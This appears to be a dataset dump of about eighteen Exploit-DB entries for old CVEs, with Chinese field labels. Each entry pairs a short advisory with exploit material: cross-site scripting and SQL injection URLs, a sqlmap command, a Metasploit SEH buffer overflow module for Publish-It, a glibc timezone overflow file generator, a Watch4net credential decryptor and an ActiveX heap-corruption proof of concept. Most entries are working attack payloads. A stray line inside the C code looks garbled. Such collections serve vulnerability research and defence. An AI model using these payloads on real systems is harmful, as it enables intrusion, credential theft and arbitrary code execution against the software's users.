QLWD/code_shield huggingface dataset:
标题: Axis M10 Series Network Cameras - Cross-Site Scripting EDB-ID: 36428 CVE: 2011-5261 类型: REMOTE 平台: HARDWARE 发布日期: 2011-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/50968/info

Axis M10 Series Network Cameras are prone to a cross-site scripting vulnerability because they fail to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Axis M1054 firmware 5.21 is vulnerable; other version may also be affected. 

http://www.example.com/admin/showReport.shtml?content=serverreport.cgi&pageTitle=%3C%2Ftitle%3E%3Cscript%3Ealert(String.fromCharCode(88%2C83%2C83))%3B%3C%2Fscript%3E%3Ctitle%3E URL: https://www.exploit-db.com/exploits/36428
标题: Apache Struts 2.0.9/2.1.8 - Session Tampering Security Bypass EDB-ID: 36426 CVE: 2011-5057 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/50940/info

Apache Struts is prone to a security-bypass vulnerability that allows session tampering.

Successful attacks will allow attackers to bypass security restrictions and gain unauthorized access.

Apache Struts versions 2.0.9 and 2.1.8.1 are vulnerable; other versions may also be affected. 

http://www.example.com/SomeAction.action?session.somekey=someValue URL: https://www.exploit-db.com/exploits/36426
标题: EMC M&R (Watch4net) - Credential Disclosure EDB-ID: 36436 CVE: 2015-0514 类型: WEBAPPS 平台: JAVA 发布日期: 2015-03-19 漏洞利用脚本: Abstract


It was discovered that EMC M&R (Watch4net) credentials of remote servers stored in Watch4net are encrypted using a fixed hardcoded password. If an attacker manages to obtain a copy of the encrypted credentials, it is trivial to decrypt them.

Affected products


EMC reports that the following products are affected by this vulnerability:

- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1

See also


- CVE-2015-0514
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities (login required)

Fix


EMC released the following updated versions that resolve this vulnerability:

- EMC M&R (Watch4Net) 6.5u1
- EMC ViPR SRM 3.6.1

Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM.

Introduction


EMC M&R (formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard.

The Remote-Shell-Collector module from EMC M&R (Watch4net) can push and run executable files on remote hosts to collect performance data from storage environments. Remote-Shell-Collector uses SSH for this purpose.

In order to push and collect monitoring data, accounts are created on the remote servers and credentials of these remote servers are stored in Watch4net. These credentials are encrypted using a fixed hardcoded password. If an attacker manages to obtain a copy of the encrypted credentials, it is trivial to decrypt them.

Details


Due to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process().

Proof of concept


import com.watch4net.apg.v2.common.config.tools.Utils;

public class Watch4NetCrypt {
   private static void print(String out) {
      System.out.println(out);
   }

   private static void usage() {
      print("Usage:\t watch4netcrypt [-e] password");
      print("\t watch4netcrypt [-d] encrypted");
      System.exit(1);
   }

   public static void main(String[] args) {
      if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) {
         usage();
      }
      Boolean encrypt = "-e".equals(args[0]);
      String password = args[1];
      if (password != null) {
         print(Utils.process(password, encrypt, "centralized", null));
      }
} URL: https://www.exploit-db.com/exploits/36436
标题: Linux Kernel 2.6.35 - Network Namespace Remote Denial of Service EDB-ID: 36425 CVE: 2011-2189 类型: DOS 平台: LINUX 发布日期: 2011-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/50938/info

The Linux kernel is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause an out-of-memory error in certain linux applications, resulting in denial-of-service conditions.

Linux kernel versions 2.6.35 and earlier are affected. 

$ for i in 1 2 3 4 5 6 7 8 ; do ./feedftp $i >/dev/null & done URL: https://www.exploit-db.com/exploits/36425
标题: Publish-It - '.PUI' Local Buffer Overflow (SEH) (Metasploit) EDB-ID: 36437 CVE: 2014-0980 类型: LOCAL 平台: WINDOWS 发布日期: 2015-03-19 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Publish-It PUI Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in Publish-It when
          processing a specially crafted .PUI file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of Publish-It to open a malicious .PUI file.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Daniel Kazimirow',  # Original discovery
          'Andrew Smith "jakx_"',  # Exploit and MSF Module
        ],
      'References'  =>
        [
          [ 'OSVDB', '102911' ],
          [ 'CVE', '2014-0980' ],
          [ 'EDB', '31461' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x0b\x0a",
          'DisableNops' => true,
          'Space' => 377
        },
      'Targets'    =>
        [
          [ 'Publish-It 3.6d',
            {
              'Ret'     =>  0x0046e95a, #p/p/r | Publish.EXE
              'Offset'  =>  1082
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Feb 5 2014',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)

  end

  def exploit

    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
    fd = File.open(path, "rb")
    template_data = fd.read(fd.stat.size)
    fd.close

    buffer = template_data
    buffer << make_nops(700)
    buffer << payload.encoded
    buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
    buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
    buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
    buffer << make_nops(2)
    buffer << [target.ret].pack("V")

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)

  end
end URL: https://www.exploit-db.com/exploits/36437
标题: Elxis CMS 2009 - 'administrator/index.php' URI Cross-Site Scripting EDB-ID: 36407 CVE: 2011-4918 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/50910/info
 
Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com//elxis/administrator/index.php/%22onmouseover=prompt(dclabs)%3E URL: https://www.exploit-db.com/exploits/36407
标题: WordPress Plugin SEO by Yoast 1.7.3.3 - Blind SQL Injection EDB-ID: 36413 CVE: 2015-2292 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-16 漏洞利用脚本: Title: WordPress SEO by Yoast <= 1.7.3.3 - Blind SQL Injection
Version/s Tested: 1.7.3.3
Patched Version: 1.7.4
CVSSv2 Base Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C)
CVSSv2 Temporal Score: 7 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C)
WPVULNDB: https://wpvulndb.com/vulnerabilities/7841

Description:

WordPress SEO by Yoast is a popular WordPress plugin (wordpress-seo) used
to improve the Search Engine Optimization (SEO) of WordPress sites. The
latest version at the time of writing (1.7.3.3) has been found to be
affected by two authenticated (admin, editor or author user) Blind SQL
Injection vulnerabilities. The plugin has more than one million downloads
according to WordPress.

Technical Description:

The authenticated Blind SQL Injection vulnerability can be found within the
'admin/class-bulk-editor-list-table.php' file. The orderby and order GET
parameters are not sufficiently sanitised before being used within a SQL
query.

Line 529:

$orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field(
$_GET['orderby'] ) ) : 'post_title';

Line 533:

order = esc_sql( strtoupper( sanitize_text_field( $_GET['order'] ) ) );

If the GET orderby parameter value is not empty it will pass its value
through WordPess's own esc_sql() function. According to WordPress this
function 'Prepares a string for use as an SQL query. A glorified
addslashes() that works with arrays.'. However, this is not sufficient to
prevent SQL Injection as can be seen from our Proof of Concept.

Proof of Concept (PoC):

The following GET request will cause the SQL query to execute and sleep for
10 seconds if clicked on as an authenticated admin, editor or author user.

http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc

Using SQLMap:

python sqlmap.py -u "
http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date*&order=asc"
--batch --technique=B --dbms=MySQL --cookie="wordpress_9d...;
wordpress_logged_in_9dee67...;"

Impact:

As there is no anti-CSRF protection a remote unauthenticated attacker could
use this vulnerability to execute arbitrary SQL queries on the victim
WordPress web site by enticing an authenticated admin, editor or author
user to click on a specially crafted link or visit a page they control.

One possible attack scenario would be an attacker adding their own
administrative user to the target WordPress site, allowing them to
compromise the entire web site.

Timeline:

March 10th 2015 - 15:30 GMT: Vulnerability discovered by Ryan Dewhurst
(WPScan Team - Dewhurst Security).
March 10th 2015 - 18:30 GMT: Technical review by FireFart (WPScan Team).
March 10th 2015 - 20:00 GMT: Vendor contacted via email.
March 10th 2015 - 21:25 GMT: Vendor replies, confirms issue and gave
expected patch timeline.
March 11th 2015 - 12:05 GMT: Vendor released version 1.7.4 which patches
this issue.
March 11th 2015 - 12:30 GMT: Advisory released. URL: https://www.exploit-db.com/exploits/36413
标题: WordPress Plugin Pretty Link 1.5.2 - 'pretty-bar.php' Cross-Site Scripting EDB-ID: 36408 CVE: 2011-4595 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/50921/info

The Pretty Link plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pretty Link 1.5.2 is vulnerable; other versions may also be affected. 

 http://www.example.com/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=[xss] URL: https://www.exploit-db.com/exploits/36408
标题: Elxis CMS 2009 - 'index.php?task' Cross-Site Scripting EDB-ID: 36406 CVE: 2011-4918 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/50910/info

Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/elxis/index.php?id=3&Itemid=9&option=com_content&task=%22%20onmouseover%3dprompt%28dclabs%29%20dcl%3d%22 URL: https://www.exploit-db.com/exploits/36406
标题: HP Device Access Manager for HP ProtectTools 5.0/6.0 - Heap Memory Corruption EDB-ID: 36403 CVE: 2011-4162 类型: DOS 平台: WINDOWS 发布日期: 2011-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/50895/info

HP Device Access Manager for HP ProtectTools is prone to a remote heap-memory-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

HP Device Access Manager for HP ProtectTools versions prior to 6.1.0.1 are vulnerable.

<HTML>
<BODY>
<object id="target"
classid="clsid:{1A6F1F9C-7986-4CAB-BD5E-0E0BC09DEE8B}"></object>
<SCRIPT language="JavaScript">
function Do_It()
{
arg1=String(1044, "X")
target.AddUser arg1
}
</SCRIPT>
<input onclick="Do_It()" type="button" value="P0c">
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/36403
标题: SugarCRM Community Edition 6.3.0RC1 - 'index.php' Multiple SQL Injections EDB-ID: 36384 CVE: 2011-4833 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/50870/info

SugarCRM Community Edition is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SugarCRM Community Edition 6.3.0RC1 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?entryPoint=json&action=get_full_list&module=Leads&where=0%29%20union%20select%20version%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71%20--%20

http://www.example.com/index.php?entryPoint=json&action=get_full_list&module=Leads&order=SQL_CODE_HERE%20--%20 URL: https://www.exploit-db.com/exploits/36384
标题: WordPress Plugin 1-jquery-photo-gallery-Slideshow-flash 1.01 - Cross-Site Scripting EDB-ID: 36382 CVE: 2011-5180 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/50860/info

1-jquery-photo-gallery-slideshow-flash plug-in for WordPress is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

1-jquery-photo-gallery-slideshow-flash 1.01 is vulnerable; other versions may also be affected.

UPDATE April 18, 2012: Further reports indicate this issue may not be a vulnerability; the issue can not be exploited as described. 

http://www.example.com/[path]/wp-content/plugins/1-jquery-photo-gallery-slideshow-flash/wp-1pluginjquery.php?page=[xss] URL: https://www.exploit-db.com/exploits/36382
标题: AtMail 1.04 - 'func' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36401 CVE: 2011-4540 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/50877/info

AtMail is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AtMail 1.0.4 is vulnerable; other versions may also be affected. 

GET: http://www.example.com/search.php?func=<script>alert(&#039;XSS&#039;);</script>
GET: http://www.example.com/search.php?func=<script>alert(&#039;XSS&#039;);</script> URL: https://www.exploit-db.com/exploits/36401
标题: GNU glibc - Timezone Parsing Remote Integer Overflow EDB-ID: 36404 CVE: 2009-5029 类型: DOS 平台: LINUX 发布日期: 2009-06-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/50898/info

GNU glibc is prone to an remote integer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running an application that uses the affected library. 

#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
 
#define TZ_MAGIC        "TZif"
 
#define PUT_32BIT_MSB(cp, value)                                        \
        do {                                                            \
                (cp)[0] = (value) >> 24;                                \
                (cp)[1] = (value) >> 16;                                \
                (cp)[2] = (value) >> 8;                                 \
                (cp)[3] = (value);                                      \
        } while (0)
 
struct tzhead {
        char    tzh_magic[4];
        char    tzh_version[1];
        char    tzh_reserved[15];
        char    tzh_ttisgmtcnt[4];
        char    tzh_ttisstdcnt[4];
        char    tzh_leapcnt[4];
        char    tzh_timecnt[4];
        char    tzh_typecnt[4];
        char    tzh_charcnt[4];
};
 
struct ttinfo
  {
    long int offset;
    unsigned char isdst;
    unsigned char idx;
    unsigned char isstd;
    unsigned char isgmt;
  };
int main(void)
{
        struct tzhead evil;
        int i;
        char *p;
42
        uint32_t total_size;
        uint32_t evil1, evil2;
 
        /* Initialize static part of the header */
        memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
        evil.tzh_version[0] = 0;
        memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
        memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
        memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
        memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
        memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
 
        /* Initialize nasty part of the header */
        evil1 = 500;
        PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
 
        total_size = evil1 * (sizeof(time_t) + 1);
        total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
                & ~(__alignof__ (struct ttinfo) - 1));
 
        /* value of chars, to get a malloc(0) */
        evil2 = 0 - total_size;
        PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
        p = (char *)&evil;
        for (i = 0; i < sizeof(evil); i++)
                printf("%c", p[i]);
 
        /* data we overflow with */
        for (i = 0; i < 50000; i++)
                printf("A");
} URL: https://www.exploit-db.com/exploits/36404
标题: Foxit Reader 7.0.6.1126 - Unquoted Service Path Privilege Escalation EDB-ID: 36390 CVE: 2015-2789 类型: LOCAL 平台: WINDOWS 发布日期: 2015-03-16 漏洞利用脚本: Foxit Reader 7.0.6.1126 Unquoted Service Path Elevation Of Privilege


Vendor: Foxit Software Incorporated
Product web page: http://www.foxitsoftware.com
Affected version: 7.0.6.1126 and 6.1

Summary: Foxit Reader is a small, lightning fast, and feature rich PDF
viewer which allows you to create (free PDF creation), open, view, sign,
and print any PDF file.

Desc: The application suffers from an unquoted search path issue impacting
the service 'FoxitCloudUpdateService' for Windows deployed as part of Foxit
Reader. This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. A
successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user’s code would execute with the elevated privileges
of the application.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Aljaz Ceru
                            aljaz@insec.si


Advisory ID: ZSL-2015-5235
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5235.php

Vendor: http://www.foxitsoftware.com/support/security_bulletins.php#FRD-25


17.02.2015

--


C:\Users\user>sc qc FoxitCloudUpdateService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FoxitCloudUpdateService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Foxit Cloud Safe Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user> URL: https://www.exploit-db.com/exploits/36390
标题: OrangeHRM 2.6.11 - '/lib/controllers/CentralController.php?id' SQL Injection EDB-ID: 36381 CVE: 2011-5259 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/50857/info
  
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
OrangeHRM 2.6.11 is vulnerable; prior versions may also be affected. 

http://www.example.com/lib/controllers/centralcontroller.php?capturemode=updatemode&uniqcode=NAT&id=1 %27%20union%20select%20version%28%29,user%28%29%20--%20 URL: https://www.exploit-db.com/exploits/36381
标题: OrangeHRM 2.6.11 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36379 CVE: 2011-5258 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/50857/info

OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OrangeHRM 2.6.11 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php?menu_no_top=eim&uniqcode=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28123%29;% 3C/script%3E

http://www.example.com/index.php?menu_no_top=eim&uniqcode=USR&isAdmin=%22%3E%3C/iframe%3E%3Cscript%3E alert%28123%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/36379
标题: OrangeHRM 2.6.11 - 'lib/controllers/CentralController.php' URI Cross-Site Scripting EDB-ID: 36380 CVE: 2011-5258 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/50857/info
 
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OrangeHRM 2.6.11 is vulnerable; prior versions may also be affected. 

http://www.example.com/lib/controllers/centralcontroller.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C /script%3E/?uniqcode=USR&VIEW=MAIN&isAdmin=1 URL: https://www.exploit-db.com/exploits/36380